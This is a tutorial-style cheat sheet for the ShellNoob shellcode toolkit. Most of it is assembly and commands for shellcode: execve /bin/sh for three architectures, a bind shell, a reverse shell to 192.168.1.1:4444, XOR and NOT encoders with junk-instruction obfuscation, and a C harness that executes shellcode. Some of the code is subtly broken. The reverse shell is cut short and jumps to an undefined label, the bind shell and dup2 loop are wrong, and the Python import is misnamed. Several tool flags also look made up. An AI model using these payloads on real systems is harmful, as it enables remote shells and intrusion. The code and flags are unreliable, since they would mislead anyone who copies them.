ShellNoob is a comprehensive shellcode development toolkit designed to simplify the creation of custom shellcode for exploit development. It provides tools for writing, assembling, disassembling, encoding, and testing shellcode across multiple architectures (x86, x64, ARM, MIPS). ShellNoob abstracts away the complexity of assembly-to-bytes conversion and provides utilities for common shellcode patterns.
- Multi-architecture Support: x86, x64, ARM, ARM64, MIPS
- Assembly to Shellcode: Direct conversion to hex/bytes
- Disassembly: Analyze binary code
- Encoding/Decoding: XOR, NOT, and custom encoders
- Syscall Generation: Helper functions for syscalls
- Pattern Library: Pre-built shellcode patterns
- Cross-platform: Linux, macOS, Windows compatible
# Python 3.x required
python3 --version
# Package dependencies
pip3 install capstone keystone-engine pwntools
# For full support, install binutils
apt-get install binutils # Debian/Ubuntu
brew install binutils # macOS
# Optional: radare2 for additional analysis
apt-get install radare2 # Debian/Ubuntu
git clone https://github.com/rk700/shellnoob.git
cd shellnoob
chmod +x shellnoob.py
./shellnoob.py --help
# Optional: Add to PATH
sudo ln -s $(pwd)/shellnoob.py /usr/local/bin/shellnoob
# If available on PyPI
pip3 install shellnoob
# Or install from GitHub directly
pip3 install git+https://github.com/rk700/shellnoob.git
# Create Dockerfile
cat > Dockerfile << 'EOF'
FROM ubuntu:20.04
RUN apt-get update && apt-get install -y python3 python3-pip binutils
RUN pip3 install capstone keystone-engine pwntools
RUN git clone https://github.com/rk700/shellnoob.git /shellnoob
WORKDIR /shellnoob
CMD ["/bin/bash"]
EOF
docker build -t shellnoob .
docker run -it --rm -v $(pwd):/work shellnoob
| Type | Purpose | Common Uses |
|---|
| Execve | Execute program | Shell spawning, command execution |
| Mmap | Memory allocation | Custom payloads, code injection |
| Read/Write | I/O operations | Data exfiltration, command output |
| Socket | Network operations | Reverse shell, bind shell |
| Syscall Wrapper | Direct syscalls | Kernel interaction |
| Encoder Stubs | Encoding/decoding | Polymorphic payloads |
- x86: 32-bit Intel/AMD (i386, i486, i586, i686)
- x64: 64-bit Intel/AMD (amd64, x86_64)
- ARM: 32-bit ARM (ARMV7, ARMV7L)
- ARM64: 64-bit ARM (AARCH64)
- MIPS: 32-bit MIPS (MIPS32, MIPS64)
# Show help
./shellnoob.py --help
# Show version
./shellnoob.py --version
# List supported architectures
./shellnoob.py --list-archs
# Show syscall reference for architecture
./shellnoob.py --show-syscalls --arch x64
# Convert x86 assembly to shellcode
./shellnoob.py -c "mov eax, 0x1; mov ebx, 0x0; int 0x80" --arch x86
# x64 assembly
./shellnoob.py -c "mov rax, 0x3b; mov rdi, 0x0; syscall" --arch x64
# ARM assembly
./shellnoob.py -c "mov r0, #1; swi 0x900001" --arch arm
# Generate with format output
./shellnoob.py -c "mov eax, 1" --arch x86 --output python
# Create assembly file
cat > shellcode.asm << 'EOF'
; x86 exit shellcode
mov eax, 0x1 ; exit syscall number
mov ebx, 0x0 ; exit code 0
int 0x80 ; syscall
EOF
# Assemble to shellcode
./shellnoob.py -f shellcode.asm --arch x86 --output hex
./shellnoob.py -f shellcode.asm --arch x86 --output bash
./shellnoob.py -f shellcode.asm --arch x86 --output python
# Hex output (default)
./shellnoob.py -c "mov eax, 1" --arch x86 --output hex
# Python list format
./shellnoob.py -c "mov eax, 1" --arch x86 --output python
# Bash array
./shellnoob.py -c "mov eax, 1" --arch x86 --output bash
# C array
./shellnoob.py -c "mov eax, 1" --arch x86 --output c
# Raw bytes
./shellnoob.py -c "mov eax, 1" --arch x86 --output raw > shellcode.bin
# Intel/AT&T syntax
./shellnoob.py -c "mov eax, 1" --arch x86 --syntax intel
./shellnoob.py -c "mov eax, 1" --arch x86 --syntax att
# Exit syscall (no error)
./shellnoob.py -c "
mov eax, 0x1
mov ebx, 0x0
int 0x80
" --arch x86
# Exit with code 1
./shellnoob.py -c "
mov eax, 0x1
mov ebx, 0x1
int 0x80
" --arch x86
# Execute /bin/sh
./shellnoob.py -c "
mov eax, 0xb
mov ebx, 0xbfff1234
mov ecx, 0x0
mov edx, 0x0
int 0x80
" --arch x86
# More complete example with string placement
cat > exec_sh.asm << 'EOF'
section .text
global _start
_start:
jmp short string
back:
pop ebx
mov eax, 11
xor ecx, ecx
xor edx, edx
int 0x80
string:
call back
db "/bin/sh", 0x0
EOF
./shellnoob.py -f exec_sh.asm --arch x86 --output python
# x64 exit syscall
./shellnoob.py -c "
mov rax, 0x3c
mov rdi, 0x0
syscall
" --arch x64
# Exit with code 1
./shellnoob.py -c "
mov rax, 0x3c
mov rdi, 0x1
syscall
" --arch x64
# x64 /bin/sh execution
cat > exec_x64.asm << 'EOF'
section .text
global _start
_start:
jmp short string
back:
pop rdi
xor rsi, rsi
xor rdx, rdx
mov rax, 59
syscall
string:
call back
db "/bin/sh", 0x0
EOF
./shellnoob.py -f exec_x64.asm --arch x64 --output python
# ARM execve /bin/sh
cat > exec_arm.asm << 'EOF'
.section .text
.global _start
_start:
adr r0, binary
mov r1, #0
mov r2, #0
mov r7, #11
swi 0
binary:
.ascii "/bin/sh\0"
EOF
./shellnoob.py -f exec_arm.asm --arch arm --output python
# Disassemble hex bytes
./shellnoob.py -d "6a01586a005f6a0000589d0f05" --arch x64
# Disassemble from file
./shellnoob.py -d --file shellcode.bin --arch x86
# Disassemble with detailed output
./shellnoob.py -d "b8010000008d1e31c0cd80" --arch x86 --verbose
# Show Intel syntax
./shellnoob.py -d "6a015b6a005f" --arch x64 --syntax intel
# Get size of shellcode
./shellnoob.py -c "mov eax, 1" --arch x86 --size
# Check for bad characters (null bytes)
./shellnoob.py -c "mov eax, 1" --arch x86 --check-nulls
# Analyze entropy
./shellnoob.py --analyze "b8010000008d1e31c0cd80" --arch x86
# Generate XOR decoder with key
./shellnoob.py -f shellcode.asm --arch x86 --encoder xor --key 0xAA
# XOR encode existing shellcode
./shellnoob.py -d "shellcode.bin" --arch x86 --encode xor --key 0xBB
# Generate encoded + decoder stub
./shellnoob.py -c "mov eax, 1; int 0x80" --arch x86 \
--encoder xor --key 0xCC --include-decoder
# NOT encoding (bitwise NOT)
./shellnoob.py -c "mov eax, 1" --arch x86 --encoder not
# Multi-pass encoding
./shellnoob.py -c "mov eax, 1" --arch x86 \
--encoder xor --key 0xFF \
--encoder xor --key 0xAA \
--encoder not
# Add junk instructions
./shellnoob.py -f shellcode.asm --arch x86 \
--add-junk 5 \
--obfuscate
# Show x86 syscall table
./shellnoob.py --show-syscalls --arch x86 | grep -i execve
# Find x64 syscall number
./shellnoob.py --show-syscalls --arch x64 | grep -i "^59"
# Search for specific syscall
./shellnoob.py --find-syscall "write" --arch x86
# Show ARM syscalls
./shellnoob.py --show-syscalls --arch arm | head -20
# x86 (32-bit) common syscalls
1 - exit
3 - read
4 - write
11 - execve
33 - access
37 - kill
78 - clone
# x64 (64-bit) common syscalls
0 - read
1 - write
2 - open
3 - close
59 - execve
60 - exit
#!/usr/bin/env python3
from pwntools import *
# Generate x86 shellcode
context.arch = 'i386'
shellcode = asm("mov eax, 1; int 0x80")
print(f"Shellcode: {shellcode.hex()}")
# Generate x64 shellcode
context.arch = 'amd64'
shellcode = asm("mov rax, 0x3c; mov rdi, 0; syscall")
print(f"Shellcode: {shellcode.hex()}")
# Use ShellNoob for complex patterns
# (example using both tools together)
shellcode = asm("""
xor rax, rax
push rax
mov rdi, rsp
mov rax, 59
syscall
""")
print(f"Final shellcode: {shellcode.hex()}")
cat > bind_shell_x64.asm << 'EOF'
section .data
port equ 4444
section .text
global _start
_start:
; Create socket
mov rax, 41
mov rdi, 2
mov rsi, 1
mov rdx, 0
syscall
mov r9, rax ; Save socket FD
; Bind
mov rax, 49
mov rdi, r9
mov rsi, 0x0
mov rdx, 0x10
syscall
; Listen
mov rax, 50
mov rdi, r9
mov rsi, 0x1
syscall
; Accept
mov rax, 43
mov rdi, r9
mov rsi, 0x0
mov rdx, 0x0
syscall
; Spawn shell on connection
mov r10, rax ; client fd
mov rsi, r10
mov rdx, r10
mov rax, 59
mov rdi, rsp
syscall
EOF
./shellnoob.py -f bind_shell_x64.asm --arch x64 --output python
cat > reverse_shell_x86.asm << 'EOF'
section .text
global _start
_start:
; Create socket
mov eax, 102
mov ebx, 1
mov ecx, 1
int 0x80
mov edi, eax ; Save socket FD
; Connect to 192.168.1.1:4444
mov eax, 102
mov ebx, 3
mov ecx, 0x5c110ac0 ; IP:Port encoded
mov edx, 0x10
int 0x80
; Redirect stdin/stdout/stderr
mov ecx, 3
loop:
mov eax, 63
mov ebx, edi
mov ecx, ecx
dec ecx
jne loop
; Execve /bin/sh
mov eax, 11
jmp short get_bin_sh
EOF
./shellnoob.py -f reverse_shell_x86.asm --arch x86 --output python
# Create C harness
cat > test.c << 'EOF'
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
unsigned char shellcode[] = {
0xb8, 0x01, 0x00, 0x00, 0x00, // mov eax, 1
0xbb, 0x00, 0x00, 0x00, 0x00, // mov ebx, 0
0xcd, 0x80 // int 0x80
};
int main(int argc, char *argv[]) {
printf("[*] Shellcode length: %d bytes\n", strlen((char*)shellcode));
printf("[*] Testing shellcode execution...\n");
int (*ret)() = (int(*)())shellcode;
ret();
return 0;
}
EOF
# Compile with NX disabled
gcc -z execstack -o test test.c
# Run test
./test
# Create GDB script
cat > test.gdb << 'EOF'
break main
run
set follow-fork-mode child
stepi
disassemble
info registers
continue
EOF
gdb -x test.gdb ./test
# Find null bytes in shellcode
./shellnoob.py -c "mov eax, 0x1" --arch x86 --check-nulls
# Techniques to avoid null bytes
./shellnoob.py -c "
xor eax, eax
mov al, 0x1 ; Instead of mov eax, 0x1
xor ebx, ebx ; Instead of mov ebx, 0
int 0x80
" --arch x86 --output hex
# Position independent code
./shellnoob.py -f shellcode.asm --arch x86 --pic
cat > pic_shellcode.asm << 'EOF'
section .text
global _start
_start:
call get_rip
get_rip:
pop rax
; Now rax contains current position
; Use relative addressing for data references
lea rdi, [rel bin_sh]
xor rsi, rsi
xor rdx, rdx
mov rax, 59
syscall
db "/bin/sh", 0x0
EOF
./shellnoob.py -f pic_shellcode.asm --arch x64 --pic --output python
# Check syntax validity
./shellnoob.py -c "mov eax, 1" --arch x86 --syntax-check
# Get detailed error messages
./shellnoob.py -f shellcode.asm --arch x86 --verbose
# Validate assembly before conversion
./shellnoob.py -f shellcode.asm --arch x86 --validate
# Get exact size of shellcode
./shellnoob.py -c "mov eax, 1; int 0x80" --arch x86 --size
# Optimize for size
./shellnoob.py -f shellcode.asm --arch x86 --optimize-size
# Check if shellcode fits constraint
./shellnoob.py -c "mov eax, 1" --arch x86 --max-size 32
| Task | Command |
|---|
| Assembly to hex | ./shellnoob.py -c "mov eax, 1" --arch x86 --output hex |
| Disassemble | ./shellnoob.py -d "b8010000008d1e31c0cd80" --arch x86 |
| Show syscalls | ./shellnoob.py --show-syscalls --arch x64 |
| XOR encode | ./shellnoob.py -f code.asm --encoder xor --key 0xAA |
| Test file | ./shellnoob.py -f code.asm --arch x86 --test |
| Check nulls | ./shellnoob.py -c "..." --check-nulls |
| PIC shellcode | ./shellnoob.py -f code.asm --pic |
# x86: register names (eax, ebx, ecx, edx, esi, edi, ebp, esp)
./shellnoob.py -c "mov eax, 1; mov ebx, 0; int 0x80" --arch x86
# x64: register names (rax, rbx, rcx, rdx, rsi, rdi, rbp, rsp, r8-r15)
./shellnoob.py -c "mov rax, 1; mov rdi, 0; syscall" --arch x64
# x64 uses 'syscall' instead of 'int 0x80'
# x64 first 6 args: rdi, rsi, rdx, rcx, r8, r9
# x86 first args: ebx, ecx, edx, esi, edi, ebp